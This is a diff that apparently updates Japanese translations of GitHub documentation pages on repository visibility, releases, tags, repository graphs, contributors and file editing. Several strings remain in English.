+* オープンソースプロジェクトの作成の一環として、プライベートリポジトリをパブリックリポジトリに変換する場合は、[オープンソースガイド](http://opensource.guide)を参照して役立つヒントやガイドラインを確認してください。 [{% data variables.product.prodname_learning %}]({% data variables.product.prodname_learning_link %}) でオープンソースプロジェクトの管理方法についての無料コースを受けることもできます。 リポジトリがパブリックになったら、コントリビューターをサポートするための最適な手法にプロジェクトが合致しているかどうかを確認するため、リポジトリのコミュニティプロフィールを表示できます。 詳しい情報については、「[コミュニティプロフィールを表示する](/articles/viewing-your-community-profile)」を参照してください。
+* リポジトリは、{% data variables.product.prodname_GH_advanced_security %} 機能へのアクセスを自動的に獲得します。
 
 For information about improving repository security, see "[Securing your repository](/code-security/getting-started/securing-your-repository)."{% endif %}
 
 {% endif %}
 
-## Changing a repository's visibility
+## リポジトリの可視性を変更する
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
-3. Under "Danger Zone", to the right of to "Change repository visibility", click **Change visibility**.
-   ![Change visibility button](/assets/images/help/repository/repo-change-vis.png)
-4. Select a visibility.
+3. [Danger Zone] の [Change repository visibility] の右側にある [**Change visibility**] をクリックします。 ![[Change visibility] ボタン](/assets/images/help/repository/repo-change-vis.png)
+4. 可視性を選択します。
 {% ifversion fpt or ghec %}
-   ![Dialog of options for repository visibility](/assets/images/help/repository/repo-change-select.png){% else %}
-   ![Dialog of options for repository visibility](/assets/images/enterprise/repos/repo-change-select.png){% endif %}
-5. To verify that you're changing the correct repository's visibility, type the name of the repository you want to change the visibility of.
-6. Click **I understand, change repository visibility**.
+   ![リポジトリの可視性オプションのダイアログ](/assets/images/help/repository/repo-change-select.png){% else %}
+![Dialog of options for repository visibility](/assets/images/enterprise/repos/repo-change-select.png){% endif %}
+5. 正しいリポジトリの可視性を変更していることを確認するには、可視性を変更するリポジトリの名前を入力します。
+6. [**I understand, change repository visibility**] をクリックします。
 {% ifversion fpt or ghec %}
-   ![Confirm change of repository visibility button](/assets/images/help/repository/repo-change-confirm.png){% else %}
-   ![Confirm change of repository visibility button](/assets/images/enterprise/repos/repo-change-confirm.png){% endif %}
+   ![リポジトリの可視性ボタンの変更確認](/assets/images/help/repository/repo-change-confirm.png){% else %}
+![Confirm change of repository visibility button](/assets/images/enterprise/repos/repo-change-confirm.png){% endif %}
 
 
-## Further reading
+## 参考リンク
 - "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)"
diff --git a/translations/ja-JP/content/repositories/releasing-projects-on-github/about-releases.md b/translations/ja-JP/content/repositories/releasing-projects-on-github/about-releases.md
index b4e5fce59b..0cb8a02fea 100644
--- a/translations/ja-JP/content/repositories/releasing-projects-on-github/about-releases.md
+++ b/translations/ja-JP/content/repositories/releasing-projects-on-github/about-releases.md
@@ -1,6 +1,6 @@
 ---
-title: About releases
-intro: 'You can create a release to package software, along with release notes and links to binary files, for other people to use.'
+title: リリースについて
+intro: 他の人が使用できるようにソフトウェア、リリースノート、バイナリファイルへのリンクをパッケージしたリリースを作成できます。
 redirect_from:
   - /articles/downloading-files-from-the-command-line
   - /articles/downloading-files-with-curl
@@ -17,42 +17,43 @@ versions:
 topics:
   - Repositories
 ---
-## About releases
+
+## リリースについて
 
 {% ifversion fpt or ghec or ghes > 3.4 or ghae-issue-4974 %}
-![An overview of releases](/assets/images/help/releases/refreshed-releases-overview-with-contributors.png)
+![リリースの概要](/assets/images/help/releases/refreshed-releases-overview-with-contributors.png)
 {% elsif ghes > 3.3 or ghae-issue-4972 %}
-![An overview of releases](/assets/images/help/releases/releases-overview-with-contributors.png)
+![リリースの概要](/assets/images/help/releases/releases-overview-with-contributors.png)
 {% else %}
-![An overview of releases](/assets/images/help/releases/releases-overview.png)
+![リリースの概要](/assets/images/help/releases/releases-overview.png)
 {% endif %}
 
-Releases are deployable software iterations you can package and make available for a wider audience to download and use.
+リリースは、パッケージ化して、より多くのユーザがダウンロードして使用できるようにすることができるデプロイ可能なソフトウェアのイテレーションです。
 
-Releases are based on [Git tags](https://git-scm.com/book/en/Git-Basics-Tagging), which mark a specific point in your repository's history. A tag date may be different than a release date since they can be created at different times. For more information about viewing your existing tags, see "[Viewing your repository's releases and tags](/github/administering-a-repository/viewing-your-repositorys-releases-and-tags)."
+リリースは [Git タグ](https://git-scm.com/book/en/Git-Basics-Tagging)に基づきます。タグは、リポジトリの履歴の特定の地点をマークするものです。 タグの日付は異なる時点で作成できるため、リリースの日付とは異なる場合があります。 既存のタグの表示に関する詳細は「[リポジトリのリリースとタグを表示する](/github/administering-a-repository/viewing-your-repositorys-releases-and-tags)」を参照してください。
 
-You can receive notifications when new releases are published in a repository without receiving notifications about other updates to the repository. For more information, see {% ifversion fpt or ghae or ghes or ghec %}"[Viewing your subscriptions](/github/managing-subscriptions-and-notifications-on-github/viewing-your-subscriptions){% else %}"[Watching and unwatching releases for a repository](/github/receiving-notifications-about-activity-on-github/watching-and-unwatching-releases-for-a-repository){% endif %}."
+リポジトリで新しいリリースが公開されたときに通知を受け取り、リポジトリで他の更新があったときには通知を受け取らないでいることができます。 詳しい情報については、{% ifversion fpt or ghae or ghes or ghec %}「[サブスクリプションを表示する](/github/managing-subscriptions-and-notifications-on-github/viewing-your-subscriptions){% else %}「[リポジトリのリリースを Watch および Watch 解除する](/github/receiving-notifications-about-activity-on-github/watching-and-unwatching-releases-for-a-repository){% endif %}」を参照してください。
 
-Anyone with read access to a repository can view and compare releases, but only people with write permissions to a repository can manage releases. For more information, see "[Managing releases in a repository](/github/administering-a-repository/managing-releases-in-a-repository)."
+リポジトリへの読み取りアクセス権を持つ人はリリースを表示および比較できますが、リリースの管理はリポジトリへの書き込み権限を持つ人のみができます。 詳細は「[リポジトリのリリースを管理する](/github/administering-a-repository/managing-releases-in-a-repository)」を参照してください。
 
 {% ifversion fpt or ghec %}
 
 You can manually create release notes while managing a release. Alternatively, you can automatically generate release notes from a default template, or customize your own release notes template. For more information, see "[Automatically generated release notes](/repositories/releasing-projects-on-github/automatically-generated-release-notes)."
 
-People with admin permissions to a repository can choose whether {% data variables.large_files.product_name_long %} ({% data variables.large_files.product_name_short %}) objects are included in the ZIP files and tarballs that {% data variables.product.product_name %} creates for each release. For more information, see "[Managing {% data variables.large_files.product_name_short %} objects in archives of your repository](/github/administering-a-repository/managing-git-lfs-objects-in-archives-of-your-repository)."
+リポジトリへの管理者権限を持つユーザは、{% data variables.large_files.product_name_long %}（{% data variables.large_files.product_name_short %}）オブジェクトを、{% data variables.product.product_name %} がリリースごとに作成する ZIP ファイルと tarball に含めるかどうかを選択できます。 詳しい情報については、「[リポジトリのアーカイブ内の {% data variables.large_files.product_name_short %} オブジェクトを管理する](/github/administering-a-repository/managing-git-lfs-objects-in-archives-of-your-repository)」を参照してください。
 {% endif %}
 
 {% ifversion fpt or ghec %}
-If a release fixes a security vulnerability, you should publish a security advisory in your repository. {% data variables.product.prodname_dotcom %} reviews each published security advisory and may use it to send {% data variables.product.prodname_dependabot_alerts %} to affected repositories. For more information, see "[About GitHub Security Advisories](/github/managing-security-vulnerabilities/about-github-security-advisories)."
+リリースでセキュリティの脆弱性が修正された場合は、リポジトリにセキュリティアドバイザリを公開する必要があります。 {% data variables.product.prodname_dotcom %} は公開された各セキュリティアドバイザリを確認し、それを使用して、影響を受けるリポジトリに {% data variables.product.prodname_dependabot_alerts %} を送信できます。 詳しい情報については、「[GitHub セキュリティアドバイザリについて](/github/managing-security-vulnerabilities/about-github-security-advisories)」 を参照してください。
 
-You can view the **Dependents** tab of the dependency graph to see which repositories and packages depend on code in your repository, and may therefore be affected by a new release. For more information, see "[About the dependency graph](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph)."
+リポジトリ内のコードに依存しているリポジトリとパッケージを確認するために、依存関係グラフの [**依存関係**] タブを表示することができますが、それによって、新しいリリースの影響を受ける可能性があります。 詳しい情報については、「[依存関係グラフについて](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph)」を参照してください。
 {% endif %}
 
-You can also use the Releases API to gather information, such as the number of times people download a release asset. For more information, see "[Releases](/rest/reference/repos#releases)."
+リリースAPIを使用して、リリースアセットがダウンロードされた回数などの情報を収集することもできます。 詳しい情報については、「[リリース](/rest/reference/repos#releases)」を参照してください。
 
 {% ifversion fpt or ghec %}
-## Storage and bandwidth quotas
+## ストレージと帯域幅の容量
 
- Each file included in a release must be under {% data variables.large_files.max_file_size %}. There is no limit on the total size of a release, nor bandwidth usage.
+ リリースに含まれる各ファイルは、{% data variables.large_files.max_file_size %}以下でなければなりません。 リリースの合計サイズにも帯域幅の使用量にも制限はありません。
 
 {% endif %}
diff --git a/translations/ja-JP/content/repositories/releasing-projects-on-github/index.md b/translations/ja-JP/content/repositories/releasing-projects-on-github/index.md
index feb05945b2..32617192ec 100644
--- a/translations/ja-JP/content/repositories/releasing-projects-on-github/index.md
+++ b/translations/ja-JP/content/repositories/releasing-projects-on-github/index.md
@@ -1,6 +1,6 @@
 ---
-title: Releasing projects on GitHub
-intro: 'You can create a release to package software, release notes, and binary files for other people to download.'
+title: GitHub でプロジェクトをリリースする
+intro: ほかの人がダウンロードできるように、ソフトウェア、リリースノート、およびバイナリファイルをパッケージ化したリリースを作成できます。
 redirect_from:
   - /categories/85/articles
   - /categories/releases
diff --git a/translations/ja-JP/content/repositories/releasing-projects-on-github/managing-releases-in-a-repository.md b/translations/ja-JP/content/repositories/releasing-projects-on-github/managing-releases-in-a-repository.md
index eff47a5b08..17a7037a4c 100644
--- a/translations/ja-JP/content/repositories/releasing-projects-on-github/managing-releases-in-a-repository.md
+++ b/translations/ja-JP/content/repositories/releasing-projects-on-github/managing-releases-in-a-repository.md
@@ -1,6 +1,6 @@
 ---
-title: Managing releases in a repository
-intro: You can create releases to bundle and deliver iterations of a project to users.
+title: リポジトリのリリースを管理する
+intro: リリースを作成し、プロジェクトのイテレーションをバンドルしてユーザに配信できます。
 redirect_from:
   - /articles/creating-releases
   - /articles/listing-and-editing-releases
@@ -20,28 +20,27 @@ topics:
   - Repositories
 shortTitle: Manage releases
 ---
+
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
 
-## About release management
+## リリース管理について
 
 You can create new releases with release notes, @mentions of contributors, and links to binary files, as well as edit or delete existing releases.
 
 {% ifversion fpt or ghec %}
-You can also publish an action from a specific release in {% data variables.product.prodname_marketplace %}. For more information, see "<a href="/actions/creating-actions/publishing-actions-in-github-marketplace" class="dotcom-only">Publishing an action in the {% data variables.product.prodname_marketplace %}</a>."
+{% data variables.product.prodname_marketplace %} の特定のリリースからのアクションを公開することもできます。 詳しい情報については、「<a href="/actions/creating-actions/publishing-actions-in-github-marketplace" class="dotcom-only">アクションを {% data variables.product.prodname_marketplace %} で公開する</a>」を参照してください。
 
-You can choose whether {% data variables.large_files.product_name_long %} ({% data variables.large_files.product_name_short %}) objects are included in the ZIP files and tarballs that {% data variables.product.product_name %} creates for each release. For more information, see "[Managing {% data variables.large_files.product_name_short %} objects in archives of your repository](/github/administering-a-repository/managing-git-lfs-objects-in-archives-of-your-repository)."
+{% data variables.large_files.product_name_long %}（{% data variables.large_files.product_name_short %}）オブジェクトを、{% data variables.product.product_name %} がリリースごとに作成する ZIP ファイルと tarball に含めるかどうかを選択できます。 詳しい情報については、「[リポジトリのアーカイブ内の {% data variables.large_files.product_name_short %} オブジェクトを管理する](/github/administering-a-repository/managing-git-lfs-objects-in-archives-of-your-repository)」を参照してください。
 {% endif %}
 {% endif %}
 
-## Creating a release
-
-{% include tool-switcher %}
+## リリースの作成
 
 {% webui %}
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.releases %}
-3. Click **Draft a new release**.
+3. [**Draft a new release**] をクリックします。
 
    {% ifversion fpt or ghec or ghes > 3.4 or ghae-issue-4974 %}![Releases draft button](/assets/images/help/releases/draft-release-button-with-search.png){% else %}![Releases draft button](/assets/images/help/releases/draft_release_button.png){% endif %}
 4. {% ifversion fpt or ghec or ghes > 3.2 or ghae-issue-4865 %}Click **Choose a tag**, type{% else %}Type{% endif %} a version number for your release{% ifversion fpt or ghec or ghes > 3.2 or ghae-issue-4865 %}, and press **Enter**{% endif %}. Alternatively, select an existing tag.
@@ -51,36 +50,32 @@ You can choose whether {% data variables.large_files.product_name_long %} ({% da
 
    ![Confirm you want to create a new tag](/assets/images/help/releases/releases-tag-create-confirm.png)
    {% else %}
-   ![Releases tagged version](/assets/images/enterprise/releases/releases-tag-version.png)
+   ![タグ付きバージョンのリリース](/assets/images/enterprise/releases/releases-tag-version.png)
 {% endif %}
 5. If you have created a new tag, use the drop-down menu to select the branch that contains the project you want to release.
 
    {% ifversion fpt or ghec or ghes > 3.2 or ghae-issue-4865 %}![Choose a branch](/assets/images/help/releases/releases-choose-branch.png)
    {% else %}![Releases tagged branch](/assets/images/enterprise/releases/releases-tag-branch.png){% endif %}
-6. Type a title and description for your release.
+6. リリースのタイトルと説明を入力します。
    {%- ifversion fpt or ghec or ghes > 3.3 or ghae-issue-4972 %}
    If you @mention any {% data variables.product.product_name %} users in the description, the published release will include a **Contributors** section with an avatar list of all the mentioned users.
    {%- endif %}
    {% ifversion fpt or ghec %} Alternatively, you can automatically generate your release notes by clicking **Auto-generate release notes**.
    {% endif %}
-   ![Releases description](/assets/images/help/releases/releases_description_auto.png)
-7. Optionally, to include binary files such as compiled programs in your release, drag and drop or manually select files in the binaries box.
-   ![Providing a DMG with the Release](/assets/images/help/releases/releases_adding_binary.gif)
-8. To notify users that the release is not ready for production and may be unstable, select **This is a pre-release**.
-   ![Checkbox to mark a release as prerelease](/assets/images/help/releases/prerelease_checkbox.png)
+   ![リリースの説明](/assets/images/help/releases/releases_description_auto.png)
+7. オプションで、コンパイルされたプログラムなどのバイナリファイルをリリースに含めるには、ドラッグアンドドロップするかバイナリボックスで手動で選択します。 ![リリースに DMG ファイルを含める](/assets/images/help/releases/releases_adding_binary.gif)
+8. リリースが不安定であり、運用準備ができていないことをユーザに通知するには、[**This is a pre-release**] を選択します。 ![リリースをプレリリースとしてマークするチェックボックス](/assets/images/help/releases/prerelease_checkbox.png)
 {%- ifversion fpt or ghec %}
-1. Optionally, if {% data variables.product.prodname_discussions %} are enabled in the repository, select **Create a discussion for this release**, then select the **Category** drop-down menu and click a category for the release discussion.
-  ![Checkbox to create a release discussion and drop-down menu to choose a category](/assets/images/help/releases/create-release-discussion.png)
+1. Optionally, if {% data variables.product.prodname_discussions %} are enabled in the repository, select **Create a discussion for this release**, then select the **Category** drop-down menu and click a category for the release discussion. ![リリースディスカッションを作成するためのチェックボックスと、カテゴリを選択するドロップダウンメニュー](/assets/images/help/releases/create-release-discussion.png)
 {%- endif %}
-9. If you're ready to publicize your release, click **Publish release**. To work on the release later, click **Save draft**.
-   ![Publish release and Draft release buttons](/assets/images/help/releases/release_buttons.png)
+9. リリースを公開する準備ができている場合は、[**Publish release**] をクリックします。 リリースの作業を後でする場合は、[**Save draft**] をクリックします。 ![[Publish release] と [Save draft] ボタン](/assets/images/help/releases/release_buttons.png)
 
    {%- ifversion fpt or ghec or ghes > 3.2 or ghae-issue-4972 or ghae-issue-4974 %}
    You can then view your published or draft releases in the releases feed for your repository. For more information, see "[Viewing your repository's releases and tags](/github/administering-a-repository/releasing-projects-on-github/viewing-your-repositorys-releases-and-tags)."
 
    {% ifversion fpt or ghec or ghes > 3.4 or ghae-issue-4974 %}
    ![Published release with @mentioned contributors](/assets/images/help/releases/refreshed-releases-overview-with-contributors.png)
-   {% else %} 
+   {% else %}
    ![Published release with @mentioned contributors](/assets/images/help/releases/releases-overview-with-contributors.png)
    {% endif %}
    {%- endif %}
@@ -108,23 +103,18 @@ If you @mention any {% data variables.product.product_name %} users in the notes
 
 {% endcli %}
 
-## Editing a release
-
-{% include tool-switcher %}
+## リリースの編集
 
 {% webui %}
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.releases %}
 {% ifversion fpt or ghec or ghes > 3.4 or ghae-issue-4974 %}
-3. On the right side of the page, next to the release you want to edit, click {% octicon "pencil" aria-label="The edit icon" %}.
-  ![Edit a release](/assets/images/help/releases/edit-release-pencil.png)
+3. On the right side of the page, next to the release you want to edit, click {% octicon "pencil" aria-label="The edit icon" %}. ![リリースの編集](/assets/images/help/releases/edit-release-pencil.png)
 {% else %}
-3. On the right side of the page, next to the release you want to edit, click **Edit release**.
-  ![Edit a release](/assets/images/help/releases/edit-release.png)
+3. ページの右側で、編集するリリースの横にある [**Edit release**] をクリックします。 ![リリースの編集](/assets/images/help/releases/edit-release.png)
 {% endif %}
-4. Edit the details for the release in the form, then click **Update release**.{% ifversion fpt or ghec or ghes > 3.3 or ghae-issue-4972 %} If you add or remove any @mentions of GitHub users in the description, those users will be added or removed from the avatar list in the **Contributors** section of the release.{% endif %}
-  ![Update a release](/assets/images/help/releases/update-release.png)
+4. Edit the details for the release in the form, then click **Update release**.{% ifversion fpt or ghec or ghes > 3.3 or ghae-issue-4972 %} If you add or remove any @mentions of GitHub users in the description, those users will be added or removed from the avatar list in the **Contributors** section of the release.{% endif %} ![リリースの更新](/assets/images/help/releases/update-release.png)
 
 {% endwebui %}
 
@@ -134,25 +124,19 @@ Releases cannot currently be edited with {% data variables.product.prodname_cli
 
 {% endcli %}
 
-## Deleting a release
-
-{% include tool-switcher %}
+## リリースの削除
 
 {% webui %}
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.releases %}
 {% ifversion fpt or ghec or ghes > 3.4 or ghae-issue-4974 %}
-3. On the right side of the page, next to the release you want to delete, click {% octicon "trash" aria-label="The trash icon" %}.
-  ![Delete a release](/assets/images/help/releases/delete-release-trash.png)
+3. On the right side of the page, next to the release you want to delete, click {% octicon "trash" aria-label="The trash icon" %}. ![リリースの削除](/assets/images/help/releases/delete-release-trash.png)
 {% else %}
-3. Click the name of the release you wish to delete.
-  ![Link to view release](/assets/images/help/releases/release-name-link.png)
-4. In the upper-right corner of the page, click **Delete**.
-  ![Delete release button](/assets/images/help/releases/delete-release.png)
+3. 削除するリリースの名前をクリックします。 ![リリースを表示するリンク](/assets/images/help/releases/release-name-link.png)
+4. ページの右上にある [**Delete**] をクリックします。 ![リリースの削除ボタン](/assets/images/help/releases/delete-release.png)
 {% endif %}
-5. Click **Delete this release**.
-  ![Confirm delete release](/assets/images/help/releases/confirm-delete-release.png)
+5. [**Delete this release**] をクリックします。 ![リリースの削除を確認](/assets/images/help/releases/confirm-delete-release.png)
 
 {% endwebui %}
 
diff --git a/translations/ja-JP/content/repositories/releasing-projects-on-github/viewing-your-repositorys-releases-and-tags.md b/translations/ja-JP/content/repositories/releasing-projects-on-github/viewing-your-repositorys-releases-and-tags.md
index 393e6eb56c..ccbef6d1e0 100644
--- a/translations/ja-JP/content/repositories/releasing-projects-on-github/viewing-your-repositorys-releases-and-tags.md
+++ b/translations/ja-JP/content/repositories/releasing-projects-on-github/viewing-your-repositorys-releases-and-tags.md
@@ -1,6 +1,6 @@
 ---
-title: Viewing your repository's releases and tags
-intro: You can view the chronological history of your repository by release name or tag version number.
+title: リポジトリのリリースとタグを表示する
+intro: リリース名またはタグのバージョン番号でリポジトリの履歴を時系列順に表示できます。
 redirect_from:
   - /articles/working-with-tags
   - /articles/viewing-your-repositorys-tags
@@ -16,27 +16,27 @@ topics:
   - Repositories
 shortTitle: View releases & tags
 ---
+
 {% ifversion fpt or ghae or ghes or ghec %}
 {% tip %}
 
-**Tip**: You can also view a release using the {% data variables.product.prodname_cli %}. For more information, see "[`gh release view`](https://cli.github.com/manual/gh_release_view)" in the {% data variables.product.prodname_cli %} documentation.
+**ヒント**: {% data variables.product.prodname_cli %} を使用してリリースを表示することもできます。 詳しい情報については、{% data variables.product.prodname_cli %} ドキュメントの「[`gh release view`](https://cli.github.com/manual/gh_release_view)」を参照してください。
 
 {% endtip %}
 {% endif %}
 
-## Viewing releases
+## リリースを表示する
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.releases %}
-2. At the top of the Releases page, click **Releases**.
+2. [Releases] ページの上部にある [**Releases**] をクリックします。
 
-## Viewing tags
+## タグを表示する
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.releases %}
-2. At the top of the Releases page, click **Tags**.
-![Tags page](/assets/images/help/releases/tags-list.png)
+2. [Releases] ページの上部にある [**Tags**] をクリックします。 ![[Tags] ページ](/assets/images/help/releases/tags-list.png)
 
-## Further reading
+## 参考リンク
 
-- "[Signing tags](/articles/signing-tags)"
+- 「[タグに署名する](/articles/signing-tags)」
diff --git a/translations/ja-JP/content/repositories/viewing-activity-and-data-for-your-repository/about-repository-graphs.md b/translations/ja-JP/content/repositories/viewing-activity-and-data-for-your-repository/about-repository-graphs.md
index 2a5f059245..8ab5a382e5 100644
--- a/translations/ja-JP/content/repositories/viewing-activity-and-data-for-your-repository/about-repository-graphs.md
+++ b/translations/ja-JP/content/repositories/viewing-activity-and-data-for-your-repository/about-repository-graphs.md
@@ -1,6 +1,6 @@
 ---
-title: About repository graphs
-intro: Repository graphs help you view and analyze data for your repository.
+title: リポジトリグラフについて
+intro: リポジトリグラフは、リポジトリのデータを見たり分析したりするための役に立ちます。
 redirect_from:
   - /articles/using-graphs
   - /articles/about-repository-graphs
@@ -14,18 +14,19 @@ versions:
 topics:
   - Repositories
 ---
-A repository's graphs give you information on {% ifversion fpt or ghec %} traffic, projects that depend on the repository,{% endif %} contributors and commits to the repository, and a repository's forks and network. If you maintain a repository, you can use this data to get a better understanding of who's using your repository and why they're using it.
+
+リポジトリグラフは、{% ifversion fpt or ghec %}トラフィック、リポジトリに依存するプロジェクト、{% endif %}リポジトリのコントリビューターとコミット、そしてリポジトリのフォークやネットワークに関する情報を提供します。 自分が管理しているリポジトリがある場合、このデータを使用すれば、リポジトリを誰が使っているのか、なぜ使っているのかをよりよく知ることができます。
 
 {% ifversion fpt or ghec %}
 
-Some repository graphs are available only in public repositories with {% data variables.product.prodname_free_user %}:
-- Pulse
-- Contributors
-- Traffic
-- Commits
-- Code frequency
-- Network
+リポジトリグラフの中には {% data variables.product.prodname_free_user %} のパブリックリポジトリでしか利用できないものもあります。
+- パルス
+- コントリビューター
+- トラフィック
+- コミット
+- コードの更新頻度
+- ネットワーク
 
-All other repository graphs are available in all repositories. Every repository graph is available in public and private repositories with {% data variables.product.prodname_pro %}, {% data variables.product.prodname_team %}, and {% data variables.product.prodname_ghe_cloud %}. {% data reusables.gated-features.more-info %}
+その他のリポジトリグラフは、すべてのリポジトリで利用できます。 {% data variables.product.prodname_pro %}、{% data variables.product.prodname_team %}、および {% data variables.product.prodname_ghe_cloud %} では、パブリックおよびプライベートリポジトリですべてのリポジトリグラフを利用できます。 {% data reusables.gated-features.more-info %}
 
 {% endif %}
diff --git a/translations/ja-JP/content/repositories/viewing-activity-and-data-for-your-repository/viewing-a-projects-contributors.md b/translations/ja-JP/content/repositories/viewing-activity-and-data-for-your-repository/viewing-a-projects-contributors.md
index 02ea78541a..01eaf759ca 100644
--- a/translations/ja-JP/content/repositories/viewing-activity-and-data-for-your-repository/viewing-a-projects-contributors.md
+++ b/translations/ja-JP/content/repositories/viewing-activity-and-data-for-your-repository/viewing-a-projects-contributors.md
@@ -1,6 +1,6 @@
 ---
-title: Viewing a project's contributors
-intro: 'You can see who contributed commits to a repository{% ifversion fpt or ghec %} and its dependencies{% endif %}.'
+title: プロジェクトのコントリビューターを表示する
+intro: 'リポジトリへのコミットにコントリビュートした人{% ifversion fpt or ghec %}とその依存関係{% endif %}を表示できます。'
 redirect_from:
   - /articles/i-don-t-see-myself-in-the-contributions-graph
   - /articles/viewing-contribution-activity-in-a-repository
@@ -17,36 +17,35 @@ topics:
   - Repositories
 shortTitle: View project contributors
 ---
-## About contributors
 
-You can view the top 100 contributors to a repository{% ifversion ghes or ghae %}, including commit co-authors,{% endif %} in the contributors graph. Merge commits and empty commits aren't counted as contributions for this graph.
+## コントリビューターについて
+
+コントリビューターグラフで{% ifversion ghes or ghae %}、コミットの共作者を含めて{% endif %}、リポジトリに貢献した上位 100 人のコントリビューターを表示できます。 マージコミットと空のコミットは、このグラフでコントリビューションとして数えられません。
 
 {% ifversion fpt or ghec %}
-You can also see a list of people who have contributed to the project's Python dependencies. To access this list of community contributors, visit `https://github.com/REPO-OWNER/REPO-NAME/community_contributors`.
+プロジェクトの Python 依存関係に貢献した人のリストも表示されます。 この、コミュニティコントリビューターのリストを表示するには、`https://github.com/REPO-OWNER/REPO-NAME/community_contributors` にアクセスしてください。
 {% endif %}
 
-## Accessing the contributors graph
+## コントリビューターグラフにアクセスする
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.accessing-repository-graphs %}
-3. In the left sidebar, click **Contributors**.
-  ![Contributors tab](/assets/images/help/graphs/contributors_tab.png)
-4. Optionally, to view contributors during a specific time period, click, then drag until the time period is selected. The contributors graph sums weekly commit numbers onto each Sunday, so your time period must include a Sunday.
-  ![Selected time range in the contributors graph](/assets/images/help/graphs/repo_contributors_click_drag_graph.png)
+3. 左サイドバーで [**Contributors**] をクリックします。 ![コントリビュータータブ](/assets/images/help/graphs/contributors_tab.png)
+4. オプションで、特定の期間におけるコントリビューターを表示するには、クリックしてから、その期間が選択されるまでドラッグしてください。 The contributors graph sums weekly commit numbers onto each Sunday, so your time period must include a Sunday. ![コントリビュータグラフで選択した時間範囲](/assets/images/help/graphs/repo_contributors_click_drag_graph.png)
 
-## Troubleshooting contributors
+## コントリビューターのトラブルシューティング
 
-If you don't appear in a repository's contributors graph, it may be because:
-- You aren't one of the top 100 contributors.
-- Your commits haven't been merged into the default branch.
-- The email address you used to author the commits isn't connected to your account on {% data variables.product.product_name %}.
+リポジトリのコントリビュータグラフにあなたが表示されない場合、以下の理由が考えられます:
+- 上位 100 人に入っていない。
+- コミットがデフォルトブランチにマージされていない。
+- コミットの作成に使用したメールアドレスが、{% data variables.product.product_name %} のアカウントに接続されていない。
 
 {% tip %}
 
-**Tip:** To list all commit contributors in a repository, see "[Repositories](/rest/reference/repos#list-contributors)."
+**ヒント:** リポジトリへのコミットのコントリビューターを一覧表示する方法については、「[リポジトリ](/rest/reference/repos#list-contributors)」を参照してください。
 
 {% endtip %}
 
-If all your commits in the repository are on non-default branches, you won't be in the contributors graph. For example, commits on the `gh-pages` branch aren't included in the graph unless `gh-pages` is the repository's default branch. To have your commits merged into the default branch, you can create a pull request. For more information, see "[About pull requests](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests)."
+リポジトリ内のあなたのコミットがすべてデフォルト以外のブランチにある場合、コントリビュータグラフには表示されません。 たとえば、`gh-pages`ブランチに対して行われたコミットは、`gh-pages`がリポジトリのデフォルトのブランチでない限り、グラフに含まれません。 コミットをデフォルトブランチにマージするため、プルリクエストを作成できます。 詳しい情報については[プルリクエストについて](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests)を参照してください。
 
-If the email address you used to author the commits is not connected to your account on {% data variables.product.product_name %}, your commits won't be linked to your account, and you won't appear in the contributors graph. For more information, see "[Setting your commit email address](/articles/setting-your-commit-email-address){% ifversion not ghae %}" and "[Adding an email address to your {% data variables.product.prodname_dotcom %} account](/articles/adding-an-email-address-to-your-github-account){% endif %}."
+コミットの作成に使用したメールアドレスが {% data variables.product.product_name %} のアカウントに接続されていない場合、コミットはアカウントにリンクされず、コントリビュータグラフに表示されません。 詳しい情報については、「[コミットメールアドレスを設定する](/articles/setting-your-commit-email-address){% ifversion not ghae %}」および「[{% data variables.product.prodname_dotcom %} アカウントにメールアドレスを追加する](/articles/adding-an-email-address-to-your-github-account){% endif %}」を参照してください。
diff --git a/translations/ja-JP/content/repositories/working-with-files/managing-files/editing-files.md b/translations/ja-JP/content/repositories/working-with-files/managing-files/editing-files.md
index b52562a21b..9f1da0f907 100644
--- a/translations/ja-JP/content/repositories/working-with-files/managing-files/editing-files.md
+++ b/translations/ja-JP/content/repositories/working-with-files/managing-files/editing-files.md
@@ -1,6 +1,6 @@
 ---
 title: Editing files
-intro: 'You can edit files directly on {% data variables.product.product_name %} in any of your repositories using the file editor.'
+intro: 'ファイルエディタを使用しているすべてのリポジトリについて、{% data variables.product.product_name %} でファイルを直接編集できます。'
 redirect_from:
   - /articles/editing-files
   - /articles/editing-files-in-your-repository
@@ -19,44 +19,39 @@ topics:
 shortTitle: Edit files
 ---
 
-## Editing files in your repository
+## リポジトリのファイルを編集する
 
 {% tip %}
 
-**Tip**: {% data reusables.repositories.protected-branches-block-web-edits-uploads %}
+**参考**: {% data reusables.repositories.protected-branches-block-web-edits-uploads %}
 
 {% endtip %}
 
 {% note %}
 
-**Note:** {% data variables.product.product_name %}'s file editor uses [CodeMirror](https://codemirror.net/).
+**参考:** {% data variables.product.product_name %} のファイルエディタでは、[CodeMirror](https://codemirror.net/) が使用されます。
 
 {% endnote %}
 
-1. In your repository, browse to the file you want to edit.
+1. リポジトリ内で、編集するファイルに移動します。
 {% data reusables.repositories.edit-file %}
-3. On the **Edit file** tab, make any changes you need to the file.
-![New content in file](/assets/images/help/repository/edit-readme-light.png)
+3. [**Edit file**] タブで、ファイルに必要な変更を加えます。 ![ファイル内の新しいコンテンツ](/assets/images/help/repository/edit-readme-light.png)
 {% data reusables.files.preview_change %}
 {% data reusables.files.write_commit_message %}
 {% data reusables.files.choose-commit-email %}
 {% data reusables.files.choose_commit_branch %}
 {% data reusables.files.propose_file_change %}
 
-## Editing files in another user's repository
+## 他のユーザーのリポジトリ内のファイルを編集する
 
 When you edit a file in another user's repository, we'll automatically [fork the repository](/articles/fork-a-repo) and [open a pull request](/articles/creating-a-pull-request) for you.
 
